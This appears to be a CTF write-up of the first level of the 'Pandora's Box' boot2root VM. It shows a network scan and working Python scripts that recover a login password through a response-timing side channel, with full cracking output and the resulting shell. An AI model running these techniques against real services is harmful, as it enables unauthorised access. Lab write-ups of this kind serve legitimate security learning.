Description
Pandora’s Box is a boot2root VM written by c0ne. It focuses on binary exploitation and reverse engineering. You have to complete all 5 levels to root the box.
The binaries in this challenge are absolutely exquisite and extrememly well put together. I wanted to do rather comprehensive write-up’s for each binary, which would mean a very long article. For this reason, I decided to publish each level as a separate blog post.
Walkthrough
Nmap
lab:pandroa/ $ nmap -v -n -sn 192.168.1.1/24 | grep -B 1 "Host is up"
Nmap scan report for 192.168.1.1
Host is up (0.00050s latency).
--
Nmap scan report for 192.168.1.100
Host is up (0.00040s latency).
--
Nmap scan report for 192.168.1.102
Host is up (0.096s latency).
--
Nmap scan report for 192.168.1.106
Host is up (0.00044s latency).
--
Nmap scan report for 192.168.1.108
Host is up (0.000048s latency).
--
Nmap scan report for 192.168.1.187
Host is up (0.00054s latency).
lab:pandroa/ $ nmap -v -n -p- 192.168.1.106
Starting Nmap 6.47 ( http://nmap.org ) at 2015-07-19 09:14 UTC
Initiating Ping Scan at 09:14
Scanning 192.168.1.106 [2 ports]
Completed Ping Scan at 09:14, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 09:14
Scanning 192.168.1.106 [65535 ports]
Discovered open port 22/tcp on 192.168.1.106
Discovered open port 54311/tcp on 192.168.1.106
Completed Connect Scan at 09:14, 2.15s elapsed (65535 total ports)
Nmap scan report for 192.168.1.106
Host is up (0.0069s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
54311/tcp open unknown
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.23 seconds
Secure Remote Shell
The service on port 54311 can be connected to using netcat.
lab:pandroa/ $ ncat -v 192.168.1.106 54311
Ncat: Version 6.47 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.1.106:54311.
#######################
# Secure Remote Shell #
#######################
Welcome, please log in
Password: pass
Invalid password!
Password: ^C
A few passwords and some flattery didn’t get me very far.
Password: c0ne r0cks
Invalid password!
Whilst testing for overflows, I found that long strings are split and processed.
root@kali:~/vulnhub/pbox/level_0# python -c 'print ("A" * 100)' | nc 192.168.1.106 54311
#######################
# Secure Remote Shell #
#######################
Welcome, please log in
Password: Invalid password!
Password: Invalid password!
I then set out to find the maximum length of the buffer, to determine the maximum theoretical length of the password.
root@kali:~/vulnhub/pbox/level_0# python -c 'print ("A" * 62)' | nc 192.168.1.106 54311
#######################
# Secure Remote Shell #
#######################
Welcome, please log in
Password: Invalid password!
Password:
I did write a python script that would attempt passwords from the rockyou wordlist but nothing popped, and if the password was of any significant length a straight AAAA - ZZZZ bruteforce would take too long.
Time Based Attack
If you send keystrokes manually, you can see there is a difference in the amount of time it takes for the binary to return Invalid password!. The longer the string, the more pronounced the difference is.
You may need to watch it a few times to see. But we can confirm there’s a difference by timing it in python.
#!/usr/bin/env python
import socket, time
target = '192.168.1.106'
port = 54311
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
banner = s.recv(512)
prompt = s.recv(512)
s.send("A\n")
t0 = time.time()
response = s.recv(512)
prompt = s.recv(512)
t1 = time.time()
s.send("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n")
t2 = time.time()
response = s.recv(512)
prompt = s.recv(512)
t3 = time.time()
print "Short: " + str(t1-t0)
print "Long: " + str(t3-t2)
s.close()
root@kali:~/vulnhub/pbox/level_0# ./level_0.py
Short: 0.0451579093933
Long: 0.26290678978
You can see there is a significantly longer wait for the error message to be returned after sending the longer string. We can take this a step further and time the response of a single character.
For just 1 run, the results were a bit hit-and-miss, so it’s better to send a character several times and work out the average response time.
#!/usr/bin/env python
import socket, time, string, numpy
target = '192.168.1.106'
port = 54311
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
banner = s.recv(512)
prompt = s.recv(512)
for char in (string.ascii_letters + string.digits + string.punctuation):
t0 = time.time()
s.send(char + "\n")
s.recv(512)
t1 = time.time()
t2 = time.time()
s.send(char + "\n")
s.recv(512)
t3 = time.time()
t4 = time.time()
s.send(char + "\n")
s.recv(512)
t5 = time.time()
t6 = time.time()
s.send(char + "\n")
s.recv(512)
t7 = time.time()
times = [(t7-t6), (t5-t4), (t3-t2), (t1-t0)]
average = numpy.mean(times)
print char + ": " + str(average)
s.close()
If this is run a few times and sorted on the 2nd column, we can easily see that the letter R is consistently the quickest character to be returned.
root@kali:~/vulnhub/pbox/level_0# ./level_0.py | sort -s -n -k 2,2 | head -n 5
R: 0.00170934200287
d: 0.0026016831398
b: 0.00287199020386
i: 0.00288355350494
g: 0.00291323661804
We can assume therefore, that the password begins with R. Finally, modify the script so that it will automatically move onto the next character to deciper the entire password. We will assume that if the character reponse is quicker than 0.002s, then it’s valid.
#!/usr/bin/env python2
# -*- coding: utf8 -*-
import socket
import time
import string
import numpy
def single(sock, data):
starttime = time.time()
sock.send(data)
sock.recv(512)
endtime = time.time()
return endtime - starttime
def main():
host = '192.168.1.106'
port = 54311
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(512)
s.recv(512)
password = ''
for i in range(80):
chars = string.ascii_letters + string.digits + string.punctuation
for char in chars:
data = "%s%s\n" % (password, char)
times = [single(s, data) for i in range(8)]
average = numpy.mean(times)
# print char + ": " + str(average)
if average < 0.002:
password = password + char
print "[+] password: %s" % password
break
print "[+] finally password: %s" % password
s.close()
if __name__ == "__main__":
main()
lab:pandroa/ $ python2 crack.py
[+] password: R
[+] password: R3
[+] password: R3s
[+] password: R3sp
[+] password: R3sp3
[+] password: R3sp3c
[+] password: R3sp3ct
[+] password: R3sp3ctY
[+] password: R3sp3ctY0
[+] password: R3sp3ctY04
[+] password: R3sp3ctY04r
[+] password: R3sp3ctY04r4
[+] password: R3sp3ctY04r4d
[+] password: R3sp3ctY04r4dm
[+] password: R3sp3ctY04r4dm1
[+] password: R3sp3ctY04r4dm1n
[+] password: R3sp3ctY04r4dm1ni
[+] password: R3sp3ctY04r4dm1niS
[+] password: R3sp3ctY04r4dm1niSt
[+] password: R3sp3ctY04r4dm1niSt4
[+] password: R3sp3ctY04r4dm1niSt4t
[+] password: R3sp3ctY04r4dm1niSt4t0
[+] password: R3sp3ctY04r4dm1niSt4t0r
[+] password: R3sp3ctY04r4dm1niSt4t0rL
[+] password: R3sp3ctY04r4dm1niSt4t0rL1
[+] password: R3sp3ctY04r4dm1niSt4t0rL1k
[+] password: R3sp3ctY04r4dm1niSt4t0rL1ke
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keY
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3s
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3sp
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spe
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spec
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spect
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY0
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04r
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0d
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0da
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaaaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaaaaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaaaaaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaaaaaaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaaaaaaaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaaaaaaaaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaaaaaaaaaab
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaaaaaaaaaaba
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaaaaaaaaaabaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaaaaaaaaaabaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaaaaaaaaaabaaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaaaaaaaaaabaaaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaaaaaaaaaabaaaaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaaaaaaaaaabaaaaaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaaaaaaaaaabaaaaaaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaaaaaaaaaabaaaaaaaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaaaaaaaaaabaaaaaaaaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaaaaaaaaaabaaaaaaaaaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaaaaaaaaaabaaaaaaaaaaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaaaaaaaaaabaaaaaaaaaaaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaaaaaaaaaabaaaaaaaaaaaaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaaaaaaaaaabaaaaaaaaaaaaaaa
[+] password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaaaaaaaaaabaaaaaaaaaaaaaaaa
[+] finally password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaaaaaaaaaabaaaaaaaaaaaaaaaa
The whole thing derps out when it gets to the end of the valid password, but at least we got it.
lab:pandroa/ $ ncat -v 192.168.1.106 54311
Ncat: Version 6.47 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.1.106:54311.
#######################
# Secure Remote Shell #
#######################
Welcome, please log in
Password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0d
Logged in successfully, type exit to close the shell
Shell$ id
uid=1001(level1) gid=1001(level1) groups=1001(level1)
Shell$